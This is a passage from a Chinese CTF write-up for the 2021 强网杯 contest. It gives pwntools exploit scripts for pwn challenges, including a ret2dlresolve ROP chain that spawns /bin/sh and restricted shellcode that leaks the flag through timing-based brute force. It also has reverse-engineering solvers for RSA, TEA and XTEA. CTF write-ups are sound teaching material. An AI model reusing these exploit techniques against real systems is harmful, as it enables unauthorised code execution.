syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'
''
shellcode = asm(shellcode)
print shellcode
#p=process('./pwn_patch')
p=remote(remote_addr[0],remote_addr[1])
add(-25,0,shellcode) #0x0000555555757160
p.sendline('4')
#gdb.attach(p)
p.sendline('0')

p.interactive()

[强网先锋]no_output

前面要绕过一些东西,后面就是简单的 32 位下的 dl_resolve 利用;

先是要 bss 段上的溢出,把 src 填满 0x20 字节,后面 strcpy 时会在结尾覆盖’x00‘,把 fd 覆盖成 0,后面即可输入。

强网杯-WriteUp

然后是漏洞点函数的触发,这里用了 signal 机制里面的 SIGFPE,并且分母不为0,可以构造分子为无符号最小整数,分母为**-1**,相除时发生溢出,即可调用目标函数

强网杯-WriteUp

强网杯-WriteUp

from pwn import *
import sys
 
pc="./test"
reomote_addr=["39.105.138.97",1234]
 
elf = ELF(pc)
libc = elf.libc
ld_so=""
 
context.binary=pc
p=process(pc)
# p = remote(reomote_addr[0],reomote_addr[1])
 
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline() 
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive() 
ru7f = lambda : u64(ru('x7f')[-6:].ljust(8,'x00'))
rv6 = lambda : u64(rv(6)+'x00'*2)
 
def lg(s,addr):
    print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr)) 
 
sleep(0.1)
sn("x00"*4)
sleep(0.1)
sn("a"*0x20)
sleep(0.1)
sl("hello_boy")
sleep(0.3)
sl("-2147483648"#soul
sleep(0.1)
sl("-1")  #egg
 
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print raw_rop
sn(cyclic(0x4c) + raw_rop)
sn(dlresolve.payload)
 
p.interactive() 

[强网先锋]shellcode

题目逻辑很简单,输入 shellcode 然后执行,但是禁了 open 和 write,前者可以切换到 32 位下进行利用,后者可以通过用逐字节爆破的方式代替 write。

from pwn import *
 
file_path = "./shellcode"
elf = ELF(file_path)
debug = 0
 
def pwn(p,index, ch):
    append_x86 = '''
    push ebx
    pop ebx
    '
''
    shellcode_x86 = '''
    /*fp = open("flag")*/
    mov esp,0x40404140
    push 0x67616c66
    push esp
    pop ebx
    xor ecx,ecx
    mov eax,5
    int 0x80
    mov ecx,eax
    '
''
 
    append = '''
    push rdx
    pop rdx
    '
''
    # 0x40404040 为32位shellcode地址
    shellcode_mmap = '''
    /*mmap(0x40404040,0x7e,7,34,0,0)*/
    push 0x40404040 /*set rdi*/
    pop rdi
 
    push 0x7e /*set rsi*/
    pop rsi
 
    push 0x40 /*set rdx*/
    pop rax
    xor al,0x47
    push rax
    pop rdx
 
    push 0x40 /*set r8*/
    pop rax
    xor al,0x40
    push rax
    pop r8
 
    push rax /*set r9*/
    pop r9
 
    /*syscall*/
    push rbx
    pop rax
    push 0x5d
    pop rcx
    xor byte ptr[rax+0x31],cl
    push 0x5f
    pop rcx
    xor byte ptr[rax+0x32],cl
 
    push 0x22 /*set rcx*/
    pop rcx
 
    push 0x40/*set rax*/
    pop rax
    xor al,0x49
 
    '
''
    shellcode_read = '''
    /*read(0,0x40404040,0x70)*/
    push 0x40404040
    pop rsi
    push 0x40
    pop rax
    xor al,0x40
    push rax
    pop rdi
    xor al,0x40
    push 0x70
    pop rdx
    push rbx
    pop rax
    push 0x5d
    pop rcx
    xor byte ptr[rax+0x57],cl
    push 0x5f
    pop rcx
    xor byte ptr[rax+0x58],cl
    push rdx
    pop rax
    xor al,0x70
    '
''
 
    shellcode_retfq = '''
    push rbx
    pop rax
 
    xor al,0x40
 
    push 0x72
    pop rcx
    xor byte ptr[rax+0x40],cl
    push 0x68
    pop rcx
    xor byte ptr[rax+0x40],cl
    push 0x47
    pop rcx
    sub byte ptr[rax+0x41],cl
    push 0x48
    pop rcx
    sub byte ptr[rax+0x41],cl
    push rdi
    push rdi
    push 0x23
    push 0x40404040
    pop rax
    push rax
    '
''
    shellcode_flag = '''
    push 0x33
    push 0x40404089
    retfq
    /*read(fp,buf,0x70)*/
    mov rdi,rcx
    mov rsi,rsp
    mov rdx,0x70
    xor rax,rax
    syscall
    '
''
    
    shellcode_x86 = asm(shellcode_x86)
    shellcode_flag = asm(shellcode_flag,arch="amd64",os="linux")
 
    shellcode_flagg = ''
    if index == 0:
        shellcode_flagg += "cmp byte ptr[rsi+{0}],{1}; jz $-3; ret".format(
            index, (ch))
    else:
        shellcode_flagg += "cmp byte ptr[rsi+{0}],{1}; jz $-4; ret".format(index, (ch))
    shellcode_flagg = asm(shellcode_flagg,arch="amd64",os="linux")
 
    shellcode = ''
    shellcode += shellcode_mmap
    shellcode += append
    shellcode += shellcode_read
    shellcode += append
    shellcode += shellcode_retfq
    shellcode += append
    shellcode = asm(shellcode,arch="amd64",os="linux")
 
    sleep(0.1)
    p.sendline(shellcode)
    sleep(0.1)
    p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag + shellcode_flagg)
 
bruth_start = time.time()
 
index = 0
ans = []
fl = "flag{"  
sss = []
for i in fl:
    ans.append(ord(i))
index = len(ans)
sss = [113, 119, 101, 114, 116, 121, 117, 105, 111, 112, 108, 107, 106, 104, 103, 102, 100, 115,
    97, 122, 120, 99, 118, 98, 110, 109, 123, 125, 95, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
while True:
    for ch in range(0x20, 0x7f):
        if debug:
            p = process([file_path])
        else:
            p = remote('39.105.137.118', 50050)
        print("trying --> ", chr(ch))
 
        pwn(p,index, ch)
 
        start = time.time()
        try:
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
                    
 
        if end-start > 1.5:
            ans.append(ch)
            print("".join([chr(i) for i in ans]))
            break
    else:  
        print("".join([chr(i) for i in ans]))
        break
    index = index + 1
    print(ans)
 
bruth_end = time.time()
 
print("".join([chr(i) for i in ans]))
print ("total time:",bruth_end-bruth_start)

Reverse

ezmath

多项式化简得

cip=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895, 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854, 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219, 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966, 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088, 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874]
flag = ''
e = 2.718281828459045

for x in cip:
    sum = int(e / x)

    if abs(sum*x-e) < abs((sum-1)*x-e):
        sum -= 1
    flag += hex(sum)[2:].decode('hex')[::-1]
    
print flag

StandOnTheGiants

题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:

  v3 = env;
  v4 = 0;
  v20 = a3;
  v5 = (*env)->GetStringUTFChars(env, a3, 0);
  v6 = strlen(v5);
  v8 = malloc(2 * v6 + 4);
  v9 = v8;
  while ( v6 != v4 )
  {
    hex_byte_52318(v9, -1, v7, v5[v4]);
    v9 += 2;
    ++v4;
  }
  ctx = BN_CTX_new_5235C();
  BN_CTX_start_5249C(ctx);
  bn_m = BN_CTX_get_5264C(ctx);
  BN_set_5BB08(&bn_m, v8);
  free(v8);
  bn_N = BN_CTX_get_5264C(ctx);
  bn_e = BN_CTX_get_5264C(ctx);
  _aeabi_memcpy8(temp, byte_2C6B0, 0xD1);
  for ( i = 0; i != 0xD1; ++i )
    temp[i] ^= 0x3Du;
  BN_set_5BB08(&bn_N, temp);
  _aeabi_memclr8(temp, 209);
  v12 = 0;
  v21 = 0;
  v22 = 0;
  while ( v12 != 6 )
    *(&v21 + v12++) ^= 0x30u;
  ++BYTE1(v21);
  ++BYTE1(v22);
  BN_set_5BB08(&bn_e, &v21);
  v21 = 0;
  v22 = 0;
  bn_c = BN_CTX_get_5264C(ctx);
  BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx);
  v14 = sub_565A8(bn_c);
  v15 = malloc((v14 + 7) / 8);
  v16 = sub_56EB8(bn_c, v15);
  BN_CTX_end_525B8(ctx);
  BN_CTX_free_523E8(ctx);
  v17 = calloc(3u, v16);
  base64_52044(v15, v17, v16, 0);
  free(v15);
  v18 = strcmp(
          "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"
          "+/lmqEysrTdSD+eP+moP+l?+Np/oK=",
          v17);
  free(v17);
  (*v3)->ReleaseStringUTFChars(v3, v20, v5);
  result = _stack_chk_guard;
  if ( _stack_chk_guard == v27 )
    result = v18;
  return result;

静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:

# -*- coding:utf-8 -*-
import base64
import gmpy2
import string,itertools

t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12'
t2 = string.uppercase+string.lowercase+string.digits+'+/'
def main():
#    a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79, 
#          0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A, 
#          0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F, 
#          0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E, 
#          0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C, 
#          0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78, 
#          0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E, 
#          0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F, 
#          0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79, 
#          0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78, 
#          0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B, 
#          0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04, 
#          0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E, 
#          0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D, 
#          0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B, 
#          0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A, 
#          0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08, 
#          0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78, 
#          0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B, 
#          0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E, 
#          0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]
#    b = map(lambda x:chr(x^0x3d),a)
#    print(''.join(b))
    n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
    p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
    q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
    assert(n==p*q)
    e = 0x10001
    s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
    t = string.maketrans(t1,t2)
    ite1 = itertools.product('+1',repeat=10)
    
    idx1 = [6,25,26,45,77,110,123,126,130,133]
    idx2 = [22,43,59,74]
    for it1 in ite1:
        ite2 = itertools.product('-2',repeat=4)
        for it2 in ite2:
            l = list(s)
            for i in range(10):
                l[idx1[i]] = it1[i]
            for i in range(4):
                l[idx2[i]] = it2[i]
            c = string.translate(''.join(l),t)
            d = gmpy2.invert(e,(p-1)*(q-1))
            tmp = base64.b64decode(c).encode('hex')
            tmp = int(tmp,16)
            m = gmpy2.powmod(tmp,d,n)
            tmp = hex(m)[2:].replace('L','')
            if len(tmp) % 2 != 0:
                tmp = '0'+tmp
            if len(hex(m)) < 100:
                print(c,hex(m)[2:].replace('L','').decode('hex'))
                exit()

if __name__ == '__main__':
    main()

LongTimeAgo

去除花指令,输入应该在0123456789ABCDEF

然后四个漫长的函数计算 4 个 key,剩下就是加密函数,但进行了伪装。

def tea_decode(enc, k):
    v0 = enc[0]
    v1 = enc[1]
    sum = 0xa6a53780
    delta = 0x3D3529BC
    for i in range(32):
        v1 -= ((v0<<4) + k[2]) ^ (v0 + sum) ^ ((v0>>5) + k[3])
        v1 &= 0xffffffff
        v0 -= ((v1<<4) + k[0]) ^ (v1 + sum) ^ ((v1>>5) + k[1])
        v0 &= 0xffffffff
        sum -= delta
    return (v0, v1)
 
def xtea_decode(num, enc, k):
    v0 = enc[0]
    v1 = enc[1]
    delta = 0x70C88617
    sum = 0xE6EF3D20
    for i in range(num):    
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum>>11) & 3])
        v1 &= 0xffffffff        
        sum += delta;  
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3])
        v0 &= 0xffffffff
    return (v0, v1)
 
enc = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
 
for i in range(0, 4, 2):
    enc[i] ^= 0xfd
    enc[i+1] ^= 0x1fd
for i in range(4, 8, 2):
    enc[i] ^= 0x3fd
    enc[i+1] ^= 0x7fd
 
k = [0xfffd,0x1fffd,0x3fffd,0x7fffd]
flag = ''  
for i in range(0, 4, 2):
    ans = xtea_decode(32, enc[i:], k)
    flag += hex(ans[0])[2:] + hex(ans[1])[2:]
for i in range(4, 8, 2):
    ans = tea_decode(enc[i:], k)
    flag += hex(ans[0])[2:] + hex(ans[1])[2:]
print("QWB{"+flag.upper()+"}")

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

强网杯-WriteUp

版权声明:admin 发表于 2021年6月16日 上午6:58。
转载请注明:强网杯-WriteUp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...